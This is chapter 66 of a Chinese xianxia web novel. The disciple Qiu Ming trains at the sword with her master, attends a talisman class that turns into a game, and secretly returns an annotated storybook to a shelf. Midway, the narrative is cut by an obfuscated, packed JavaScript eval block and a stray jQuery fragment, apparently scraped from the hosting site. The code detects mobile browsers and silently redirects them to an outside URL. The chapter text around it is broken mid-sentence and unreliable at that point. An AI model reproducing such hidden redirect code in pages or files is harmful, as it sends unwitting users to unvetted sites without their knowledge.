66. 不停

作品:《我是合欢宗的自来卷

    秋茗今日学剑的状态稍有不同。


    说不上来,似乎是带了一丝……狠劲?


    但秋茗平时学剑亦是竭尽全力,故而这感觉便有些没道理。


    秋叙白看着自己的小徒弟,不确定自己的感觉是否正确,也不知晓其中缘由是什么。


    若要让秋茗来说,师尊的感觉的确没错。


    至于其中缘由——自然与话本有关。


    她还记得前几日,她升阶的那一日晚,师尊没有控制住情绪,让她猜到了一些东西。


    当时她还不知真正内情,便凭着感觉,对师尊说出“我不会随便死掉”,以及“会努力修炼变得很厉害”这样的话。


    话出口时她自然是认真的,可昨夜看过话本,晓得了师尊的过往,她才知自己这些话对师尊来说意味着什么。


    这不是为了让师尊开心才说的话,她一定会做到。


    秋茗的决心太坚定,出剑招招凌厉。


    秋叙白看了一会儿,觉得这样练下去,只刚无柔,怕是要学岔。


    但是这该如何纠正?


    一套剑招做完,秋茗呼吸有些不稳,她立于原地,等师尊指出问题。


    秋叙白走上前两步,到秋茗身边,本来只是觉得秋茗今日情绪紧张,像出剑时身后有洪水猛兽追着导致不得不快些的那种紧张,近了才看清,她整个人都有些绷着,尽管此刻并没有在练剑。


    一句“该放松些”停在喉间,没说出口。


    秋茗站了一会儿,呼吸已放缓了,可师尊迟迟没有出声,她疑惑抬眸:“师尊?”


    秋叙白默了默,终于开口,却是问:


    “秋茗,昨日上师祖的符咒课感觉怎么样?”


    嗯?


    这个问题让秋茗有点没料到,她张了张嘴,小声答:“挺好的。”


    秋茗自然不可能对着师尊说师祖讲课不好,可这回答实在违心,她说完便悄悄低下头。


    秋叙白看着她,眼睛弯起,轻笑了一声:“秋茗,师祖又不在这里,在我面前,你可以说实话的。”


    被师尊看出来了,秋茗惊讶抬头。


    是她太不会说谎了吗?


    秋茗确实是不会说谎。


    不过此事对秋叙白来说,更主要的原因是他本就是在明知故问。


    他怎么可能不了解自己的师父是什么样子。


    秋叙白摇头,除了大师兄,他师父就没教成过什么人。


    这么多年,秋眠阑多是待在寒烟山上,讲学水平更不可能进步了。


    秋叙白想,他虽昨日没去,但其实也能大概猜到师父会讲成什么样。


    要么讲得太慢,要么是太无聊……亦或两者都有?


    对上秋茗带着惊讶的视线,秋叙白就知应当确实是不太好了,他心中无奈,又感到些许好笑。


    “是不是听得很无聊?”秋叙白温声问。


    秋茗目光奇异,师尊平日说话,温和是常态,但这好像是她第一次听师尊温和地说人不好。


    说的还是师祖,如此认真,很有反差。


    秋茗左顾右盼一阵,确认师祖不在,于是看着师尊,眼中笑意明亮,点头,故作认真:“是有一点。”


    “无聊。”


    秋叙白同她一起笑了。


    “秋茗以后要是还去听符咒课,感觉无聊的话可以做点其他事,等讲到你觉得有用的再听,”秋叙白笑了会儿,接着道:“不是想当符修,能学会认符用符就已经很厉害了,师祖不会生气的。”


    师尊一本正经地教她听学时开小差,秋茗感觉很奇妙。


    “师尊也会符咒吗?”她问。


    秋叙白顿了一顿:“不算会,只能认得些符。符咒入门容易,随着年岁增长修为渐高,见得多了,许多符都能认识,低阶符也不难画。


    但要是想学会画中高阶符,将各种符咒贯通使用,没有天赋会很难。”


    话中未尽之意,就是他天赋不够。


    秋茗听明白了,心中可惜:“这样啊。”


    也不知道她在符咒一道上有没有天赋,看来以后要多去听几次师祖的符咒课。


    秋茗的心思,此时已全然放在师祖的符咒课上。


    时机正好,秋叙白笑了笑,唤:“秋茗。”


    秋茗回神,见师尊拿了剑:“我们来过招。”


    秋茗愣了一下:方才不还在说符咒么?


    这么突然。


    她连忙举起剑:“好的师尊。”


    果然,只要心绪放平,便不会有问题。


    秋叙白以剑鞘横挡三思,能感受到秋茗的剑不似方才那般凌厉。


    秋茗身形飘忽,力度收放自如,抬剑时轻,挥击则重。


    这便对了。


    秋叙白宽了心。


    过完招,秋茗动作停下来,她似有察觉,低头看了看自己的手臂。


    没有很累。


    与师尊过招,应是要比自己舞一遍剑累的。


    可她如今竟是感觉还好。


    昨夜睡得不好,今日疲惫些也正常,故而方才刚开始练剑时,身体重如千钧,她也没发现问题。


    现在看来分明问题大了。


    秋茗轻吐出一口气,很快意识到,是心态的变化,也会影响剑。


    出剑时沉浸于情绪中是大忌。


    “师尊,”秋茗抬起头,神色认真:“我们再来。”


    *


    《欢愉一梦》的后半本没有什么重要情节,也没有再出现新的批注。


    秋茗将书翻完了,平静地躺在床上。


    今夜没有失眠。


    师祖第二次的符咒课比秋茗想的来得要快。


    这日晨起秋茗推开门,两位师兄哈欠连连。


    “我怎么感觉距离上次去鹤归阁没过多久,是我在寒烟山上过糊涂了么?”月年衣走在山道上,恍惚道。


    “是没过多久,”江溪雪肯定道:“都没有半个月。”


    秋茗点头表示没错。


    “天哪……”月年衣拭去眼角因为打哈欠带出来的眼泪:“师祖这课是不是开得太勤了。”


    江溪雪道:“我也觉得有点。”


    二人沉默一瞬,对视一眼,总结:


    “师祖还是太闲了。”


    “还好,”月年衣拿出一样东西:“没把它忘记。”


    秋茗和江溪雪看过去,各自无言。


    月年衣手里拿的是他的浮灵木蜻蜓。


    秋茗暗想,看来月师兄还是没放弃在一丈内用木蜻蜓传信的想法。


    江溪雪决定对傻子宽容一些:“别传给我就行。”


    三人到达鹤归阁第四层,坐到他们的固定位置——角落书架旁。


    秋茗看见月师兄拿起木蜻蜓。


    课还没开始,人也没来几个,已经迫不及待要传信了吗?


    江溪雪偏了偏头,没眼看。


    在自家师妹的注视和江溪雪的鄙视下,月年衣不慌不忙地将木蜻蜓其中一边翼片打开。


    秋茗:“?”


    翼片中的符纸被取出放在桌上,月年衣抬起头:“你们这么看着我做什么?”


    江溪雪看看桌上符纸,又看向月年衣:“你要做什么?”


    月年衣又拿出几张黄符,听见这问话也蒙了:“画聚气符啊。”


    不明显么?


    秋茗:“……”


    江溪雪:“……”


    月年衣见他们的表情有点奇怪,认真问江溪雪:“不然你以为我要做什么?”


    江溪雪转头,若无其事道:“没以为什么。”


    他错了。


    刻板成见实在要不得。


    秋茗默默为自己方才对月师兄的臆测愧疚一会儿,又有点好奇:“月师兄,你为什么这么想画聚气符?”


    她想起上次月师兄说画符,似乎说的也是聚气符。


    “这个嘛……”月年衣想了想:“因为我画聚气符画得太难看了,我不能接受,所以一定要把它画好。”


    聚气符画得难看?秋茗没太懂:“那其他符呢?”


    难道就画得好看?


    “其他符没画啊,”月年衣笑道:“应该也不好看吧,但我只要不画就不会发生。”


    秋茗挠头,好像有点理解这个逻辑了:“那聚气符也不画不就行了吗?”


    “哎。师妹你说得很对,”月年衣掩面抽噎,语调极为悲痛:“我知道我没有符咒天赋了,如果让我回到那一天,我一定不会再大胆尝试画符……可这不是已经画了嘛?”


    他将一张黄符展开,无奈道:“我已经看见我画得那么难看的聚气符了,我回不了头了!”


    江溪雪:“……”


    就这点事整这么多情绪,戏还挺多。


    “这不就是自欺欺人?”江溪雪冷漠道。


    月年衣瞟他一眼:“那怎么了?我乐意。”


    他开始画符,秋茗凑近观察。


    江溪雪在一旁认真道:“秋茗师妹,我建议你不要看,会伤害眼睛。”


    江师兄这话有点太刻薄了,秋茗不赞同地抬起头,想帮月师兄说两句。


    话还未出口,月年衣突然哀嚎出声:“怎么还不进反退了。”


    秋茗下意识回头看去:“……”


    将已经到嘴边的话吞下去,秋茗呐呐:“月师兄,节哀。”


    ?


    她刚才好像说错了什么?


    符越画越难看,月年衣深受打击,他趴在桌上,眼神空洞。


    这万念俱灰的模样看着实在可怜。


    连江溪雪都生了恻隐之心:“不如还是算了吧。”


    秋茗也安慰道:“月师兄,谁都会有不擅长的事的。”


    江溪雪道:“低阶聚气符也不贵,大不了买个几十张。”


    二人你一言我一语,月年衣依旧无动于衷。


    直到秋茗和江溪雪再憋不出一句话来,两人诧异地对视一眼。


    说了那么多句都没用?


    有这么难过吗?


    秋茗轻声唤:“月师兄。”


    没反应。


    她歪了歪头,侧着看去。


    “……”


    秋茗面色古怪地抬起头,无言一瞬,才对江师兄道:“月师兄睡着了。”


    江溪雪:“……”


    所以有些时候真的不能怪他有刻板成见对吧?


    孟若纱几人来时,月年衣已经睡了半刻钟了。


    “月师兄是在睡觉吗?”坐下后,姜昭若看向趴着的月年衣。


    “对。”江溪雪应声。


    “哈,”一听人提起睡觉两个字,木青妍就有些应激,她打了个长长的哈欠:“我也好困啊。”


    孟若纱笑道:“今日是起得早了,青妍你也趴着睡会儿吧。”


    “不行不行,”木青妍连忙摇头:“我怕我一睡就睡到课结束了。”


    闻言,姜昭若笑了:“是该担心这个。”


    孟若纱往周围看了看,疑惑道:“怎么感觉这里比起上次来宽敞了些,”


    “我也感觉到了!”木青妍动了动身子,高兴道:“现在可以伸懒腰,也不挤。”


    宽敞?


    秋茗愣了一下,若有所思地环顾四周。


    方才只有三个人时不是很明显,如今人多起来了,确实能感觉到宽敞。


    她的目光从前面的桌椅扫过,最后定在侧边的书架上。


    似乎……


    秋茗仔细回忆了会儿,确定道:“是那个书架被挪后去了。”


    孟若纱几人皆顺着秋茗的目光看过去。


    “书架位置是有点不同了,”木青妍一拍手,惊喜道:“也不知是哪位好心人挪的,谢谢谢谢!”


    孟若纱轻点了点头:“是啊,真是好人。”


    又过了半刻钟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580450|161820||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,月年衣猛地坐起身:“我不是在画符吗?”


    “月师兄,”姜昭若认真回答:“你在睡觉。”


    月年衣捂住自己的眼睛:“我一定是悲痛得摧心剖肝,然后晕过去了。”


    他才没有睡觉。


    江溪雪:“……”


    月年衣你敢不敢看着秋茗师妹和我的眼睛说话?


    摧心剖肝,真是好严重的词。


    木青妍几人疑问:“月师兄,你怎么了?”


    “我……”月年衣眼珠一转,正要将他的“伤心事”道来。


    “咳咳。”


    江溪雪及时出声打断月年衣、拯救单纯的小弟子:“准备开始听讲了。”


    几人的注意被转移过去,都抬眼往前方看。


    果然是宗主到了。


    “秋茗你掐我一把好不好,”木青妍对着坐在旁边的秋茗伸出手臂,小小声道:“我今日一定要认真听认真学。”


    秋茗眨眨眼,试着在青妍的手背捏了捏:“这样?”


    “哎呀,秋茗你太温柔啦,”木青妍笑着收回手,自己在手臂上重重捻掐一下:“像这样……啊嘶……”


    秋茗看得倒抽一口凉气。


    虽然是疼了点,但这样可算是一点困意都没有了。


    木青妍很满意。


    今日的符咒课与上次大有不同。


    师祖开始讲课一刻钟,秋茗再一次将准备用来记札记的纸张收回去。


    上次听课收纸,是因为师祖讲的太基础,没什么可以记录。


    而这次听课讲纸收起,是因为——


    桌上的纸张碍着他们玩游戏了。


    是的,符咒课刚开始,师祖就说,要跟弟子们玩个符咒游戏。


    此言一出,满堂的瞌睡虫都飞了,七嘴八舌热闹得很。


    坐在圆桌中间的秋眠阑面带笑意,与上次符咒课时的严肃认真判若两人,随弟子们吵闹着为接下来的传符游戏做准备。


    月年衣朝那边看了一眼,惊奇道:“师祖这一招定有高人指点。”


    江溪雪想了想:“是花长老他们吧。”


    秋茗看见符纸飞过来,迅速以灵力催动,符纸嗖的一下便飞到了另一边。


    “好快!”姜昭若震惊:“秋茗,这个还要看上面的图案,你看清楚了吗?”


    秋茗点点头:“看清了。”


    “太棒了……”木青妍眼睛都放光。


    孟若纱也赞道:“秋茗好厉害。”


    “那是,也不看看这是谁的师妹,”月年衣得意道。


    江溪雪瞥他一眼:“月年衣你等会儿最好也能反应这么快。”


    那边师兄们在斗嘴,这边青妍在懊悔刚才白掐了自己一把白挨了疼。


    偶尔符咒飞来,有人手忙脚乱,有人镇静自若。


    鹤归阁第四层充满了笑闹声。


    秋茗想,不管是谁指点的,总之师祖这堂符咒课是极为成功了。


    倘若日后的符咒课都是如此,那师尊前几日同她说的“感觉无聊的话可以做点其他事”的建议,应当再没有用武之地。


    这一次的符咒课圆满结束,许多弟子甚至有些恋恋不舍。


    “宗主,下堂课是什么时候啊?”


    “我们还想玩。”


    秋眠阑被这群小弟子的模样逗笑了,果真如鸾烟和暮夕所言,这些孩子坐不住,只有边玩边学他们才肯将心思放过来。


    就是不知道,这玩是玩了,到底有没有学到东西。


    想到此处,秋眠阑眉心一凛,然后又自己说服了自己:玩到后面,每一个弟子都催动过符纸,那么至少灵力催动,他们是都学会了的。


    也罢。能学会一点就是好的。


    *


    同门们都回去了,鹤归阁第四层的热闹散去,只剩下秋茗一个人留在这里。


    秋茗留下自然是有事要做。


    她要找一本书。


    那本书叫什么来着?


    《厉害的术法书》。


    秋茗思索片刻,想起来了这个通俗易懂的书名。


    因为书架被收拾过,秋茗也不知道这本书大概应该放在哪一块地方。


    找了好一会儿才找到。


    《厉害的术法书》是她当时在这里看的第一本术法书。


    她还记得这本书上术法的特点,耗费灵力少,术法效果也非常有限。


    就像里面那句批注写的,这书是给小孩看的。


    秋茗将《厉害的术法书》翻开,找到留有批注的那一页。


    ——师叔骗人,这本书是哄小孩的!


    笔法稚嫩,字迹却隐约可见日后之势。


    秋茗从储物袋里拿出《欢愉一梦》,翻开第二页。


    两本书留下的批注字迹相重合,她已确定是同一个人。


    秋茗盯着看了许久。


    从晏宗主著的这本《厉害的术法书》开始,到她机缘巧合抽出的那张画着奇怪阵法图案的纸,再到后来的《筑基期快来学术法》、再在守阁弟子处见到秋姑娘的幻影,然后因为师尊的反应想要了解过去,最后拿到《欢愉一梦》。


    这桩桩件件,还有平时跟师兄们聊天时偶尔得到的信息,让她拼凑出了曾经的寒烟宗模样。


    “会在这里就停下来么?”


    秋茗低声问。


    无人回答她。


    好吧。


    秋茗蹲下,将话本塞进书架底部。


    一切恢复如初,秋茗起身,拍了拍手背。


    往者不可谏,但她并不排斥真相。


    所以。


    “可以让我一点一点地发现,”秋茗轻言道:“我记性很好的。”


    待秋茗离开,一人从门口另一侧走进来。


    他脚步无声,到书架前。


    话本又回来了。


    面具之下,严豫嘴角轻扯,眼底没有任何情绪。